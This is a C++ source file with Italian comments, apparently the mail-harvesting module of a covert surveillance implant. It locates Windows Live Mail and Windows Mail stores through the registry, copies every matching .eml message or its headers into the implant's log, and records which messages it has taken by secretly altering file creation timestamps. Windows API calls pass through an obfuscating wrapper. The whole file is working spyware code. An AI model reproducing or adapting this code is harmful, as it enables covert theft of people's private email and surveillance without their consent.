HM_MailAgent/WindowsMail.cpp
/*********************************\
* *
* Microsoft Windows Live Mail *
* Microsoft Windows Mail 6.x *
* *
\*********************************/
// Multiple accounts support
// IMAP offline folders support
#define _CRT_SECURE_NO_WARNINGS 1
#include <stdio.h>
#include <windows.h>
#include "../common.h"
#include "MailAgent.h"
#include "../LOG.h"
#define WLM_4GB 0xFFFFFFFF
#define WLM_MAIL_READ_FULL 0xDEAD
#define WLM_MAIL_READ_HEADER 0xCAFE
#define WLM_MAIL_UNREAD 0
#define UNREAD_MODULUS_PERCENTAGE 180000
BOOL WLM_MailDumpHeader(HANDLE source, DWORD mail_size, FILETIME *mail_date)
{
BYTE *header_end;
BYTE *read_buff;
DWORD size = 0;
HANDLE hf = INVALID_HANDLE_VALUE;
struct MailSerializedMessageHeader additional_header;
ZeroMemory(&additional_header, sizeof(additional_header));
additional_header.Size = mail_size;
additional_header.VersionFlags = MAPI_V2_0_PROTO;
additional_header.date.dwHighDateTime = mail_date->dwHighDateTime;
additional_header.date.dwLowDateTime = mail_date->dwLowDateTime;
// Siamo sicuri che anche leggendo il massimo sia sempre NULL terminato
if ( (read_buff = (BYTE *)calloc(MAX_HEADER_SIZE+2, 1) ) == NULL )
return FALSE;
// Legge i primi K dell'header
if (!FNC(ReadFile)(source, read_buff, MAX_HEADER_SIZE, &size, NULL) || size==0) {
SAFE_FREE(read_buff);
return FALSE;
}
// Se nello stream c'e' anche il body cerca di tagliarlo
if (header_end = (BYTE *)strstr((char *)read_buff, "\r\n\r\n"))
header_end[2]=0;
// Scrive il log
hf = Log_CreateFile(PM_MAILAGENT, (BYTE *)&additional_header, sizeof(additional_header));
if (hf == INVALID_HANDLE_VALUE) {
SAFE_FREE(read_buff);
return FALSE;
}
// L'header sara' comunque NULL terminato
if (!Log_WriteFile(hf, read_buff, strlen((const char *)read_buff))) {
Log_CloseFile(hf);
SAFE_FREE(read_buff);
return FALSE;
}
Log_CloseFile(hf);
SAFE_FREE(read_buff);
return TRUE;
}
// Dumpa l'intero contenuto della mail
BOOL WLM_MailDumpFull(HANDLE source, DWORD mail_size, FILETIME *mail_date)
{
BYTE read_buff[2048];
DWORD size = 0;
HANDLE hf;
struct MailSerializedMessageHeader additional_header;
ZeroMemory(&additional_header, sizeof(additional_header));
additional_header.Size = mail_size;
additional_header.Flags |= MAIL_FULL_BODY;
additional_header.VersionFlags = MAPI_V2_0_PROTO;
additional_header.date.dwHighDateTime = mail_date->dwHighDateTime;
additional_header.date.dwLowDateTime = mail_date->dwLowDateTime;
hf = Log_CreateFile(PM_MAILAGENT, (BYTE *)&additional_header, sizeof(additional_header));
if (hf == INVALID_HANDLE_VALUE)
return FALSE;
while (FNC(ReadFile)(source, read_buff, sizeof(read_buff), &size, NULL) && size>0) {
if (!Log_WriteFile(hf, read_buff, size)) {
Log_CloseFile(hf);
return FALSE;
}
}
Log_CloseFile(hf);
return TRUE;
}
BOOL WLM_LogEmail(HANDLE fd, DWORD *mail_status, mail_filter_struct *mail_filter, FILETIME *mail_date)
{
DWORD size = 0, fsh = 0;
// Ricalcola qui la size per sicurezza
size = FNC(GetFileSize)(fd, &fsh);
if (fsh>0)
size = WLM_4GB;
// Cattura tutta la mail
if (size <= mail_filter->max_size) {
// check paranoico
if (*mail_status == WLM_MAIL_READ_FULL)
return FALSE;
*mail_status = WLM_MAIL_READ_FULL;
return WLM_MailDumpFull(fd, size, mail_date);
} else { // Cattura solo l'header
// check paranoico
if (*mail_status != WLM_MAIL_UNREAD)
return FALSE;
*mail_status = WLM_MAIL_READ_HEADER;
return WLM_MailDumpHeader(fd, size, mail_date);
}
return FALSE; // not reached
}
BOOL WLM_SetRead(HANDLE fd, DWORD mail_status)
{
FILETIME creation_time;
LARGE_INTEGER li;
DWORD modulus;
if (!FNC(GetFileTime)(fd, &creation_time, NULL, NULL))
return FALSE;
li.HighPart = creation_time.dwHighDateTime;
li.LowPart = creation_time.dwLowDateTime;
li.QuadPart /= 100000;
modulus = li.QuadPart % UNREAD_MODULUS_PERCENTAGE;
li.QuadPart -= modulus;
li.QuadPart += mail_status;
li.QuadPart *= 100000;
creation_time.dwHighDateTime = li.HighPart;
creation_time.dwLowDateTime = li.LowPart;
if (!FNC(SetFileTime)(fd, &creation_time, NULL, NULL))
return FALSE;
return TRUE;
}
DWORD GetMailStatus(FILETIME *ft)
{
LARGE_INTEGER li;
DWORD status;
li.HighPart = ft->dwHighDateTime;
li.LowPart = ft->dwLowDateTime;
li.QuadPart /= 100000;
status = li.QuadPart % UNREAD_MODULUS_PERCENTAGE;
// Verifica se la mail e' gia' stata letta (per intero o solo header)
if ( status == WLM_MAIL_READ_FULL )
return WLM_MAIL_READ_FULL;
else if ( status == WLM_MAIL_READ_HEADER )
return WLM_MAIL_READ_HEADER;
else
return WLM_MAIL_UNREAD;
}
void FetchWindowsLiveMailMessages(const WCHAR *folder, mail_filter_struct *mail_filter)
{
WCHAR buf[MAX_PATH];
HANDLE findh = INVALID_HANDLE_VALUE, fd = INVALID_HANDLE_VALUE;
WIN32_FIND_DATAW finddata;
DWORD mail_size;
DWORD mail_status;
FILETIME mail_date;
LARGE_INTEGER li;
DWORD modulus;
swprintf_s(buf, sizeof(buf)/sizeof(buf[0]), L"%s\\*.*", folder);
if((findh = FNC(FindFirstFileW)(buf, &finddata)) == INVALID_HANDLE_VALUE)
return;
do {
if (g_bMailForceExit)
break;
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if(finddata.cFileName[0] == L'.')
continue;
swprintf_s(buf, sizeof(buf)/sizeof(buf[0]), L"%s\\%s", folder, finddata.cFileName);
FetchWindowsLiveMailMessages(buf, mail_filter);
continue;
}
if(finddata.cFileName[0] == L'.' || !wcsicmp(finddata.cFileName, L"WLMailSearchSentinel.eml"))
continue;
if(_wsplitpath_s(finddata.cFileName, NULL, 0, NULL, 0, NULL, 0, buf, sizeof(buf)/sizeof(buf[0])) || wcscmp(buf, L".eml"))
continue;
swprintf_s(buf, sizeof(buf)/sizeof(buf[0]), L"%s\\%s", folder, finddata.cFileName);
mail_status = GetMailStatus(&(finddata.ftCreationTime));
// Calcola la dimensione della mail
if (finddata.nFileSizeHigh != 0)
mail_size = WLM_4GB;
else
mail_size = finddata.nFileSizeLow;
// Verifica se il messaggio e' gia' stato letto
if (mail_status == WLM_MAIL_READ_FULL ||
(mail_status == WLM_MAIL_READ_HEADER && mail_size > mail_filter->max_size))
continue;
// Check sulla data (tolgo i bit usati per il filtro)
li.HighPart = finddata.ftCreationTime.dwHighDateTime;
li.LowPart = finddata.ftCreationTime.dwLowDateTime;
li.QuadPart /= 100000;
modulus = li.QuadPart % UNREAD_MODULUS_PERCENTAGE;
li.QuadPart -= modulus;
li.QuadPart *= 100000;
mail_date.dwHighDateTime = li.HighPart;
mail_date.dwLowDateTime = li.LowPart;
if (!IsNewerDate(&mail_date, &(mail_filter->min_date)))
continue;
if (IsNewerDate(&mail_date, &(mail_filter->max_date)))
continue;
if((fd = FNC(CreateFileW)(buf, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
continue;
// XXX Per ora sono state eliminate le ricerche testuali
//if (IsInterestingMail(fd, mail_filter) {
if (WLM_LogEmail(fd, &mail_status, mail_filter, &mail_date))
WLM_SetRead(fd, mail_status);
//}
Sleep(10); // Per non stendere la macchina sull'apertura dei file
CloseHandle(fd);
} while(FNC(FindNextFileW)(findh, &finddata));
FNC(FindClose)(findh);
return;
}
BOOL WLM_DumpEmails(mail_filter_struct *mail_filter)
{
WCHAR *keycur, *keyarray[] = { L"Software\\Microsoft\\Windows Live Mail", L"Software\\Microsoft\\Windows Mail", NULL };
WCHAR buf[MAX_PATH], storeroot[MAX_PATH];
DWORD len, keycount;
HKEY appkey = NULL;
HANDLE findh = INVALID_HANDLE_VALUE;
WIN32_FIND_DATAW finddata;
for(keycount = 0;(keycur = keyarray[keycount]); keycount++) {
if (g_bMailForceExit)
break;
if(appkey) {
FNC(RegCloseKey)(appkey);
appkey = NULL;
}
if(FNC(RegOpenKeyExW)(HKEY_CURRENT_USER, keycur, 0, KEY_READ, &appkey) != ERROR_SUCCESS)
continue;
len = sizeof(buf);
if(FNC(RegQueryValueExW)(appkey, L"Store Root", NULL, NULL, (LPBYTE)buf, &len) != ERROR_SUCCESS)
continue;
if(!FNC(ExpandEnvironmentStringsW)(buf, storeroot, sizeof(storeroot)/sizeof(storeroot[0])))
continue;
swprintf_s(buf, sizeof(buf)/sizeof(buf[0]), L"%s\\*.*", storeroot);
if((findh = FNC(FindFirstFileW)(buf, &finddata)) == INVALID_HANDLE_VALUE)
continue;
do {
if (g_bMailForceExit)
break;
if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if(finddata.cFileName[0] == L'.')
continue;
swprintf_s(buf, sizeof(buf)/sizeof(buf[0]), L"%s\\%s", storeroot, finddata.cFileName);
FetchWindowsLiveMailMessages(buf, mail_filter);
}
} while(FNC(FindNextFileW)(findh, &finddata));
FNC(FindClose)(findh);
}
if(appkey) {
FNC(RegCloseKey)(appkey);
appkey = NULL;
}
return TRUE;
}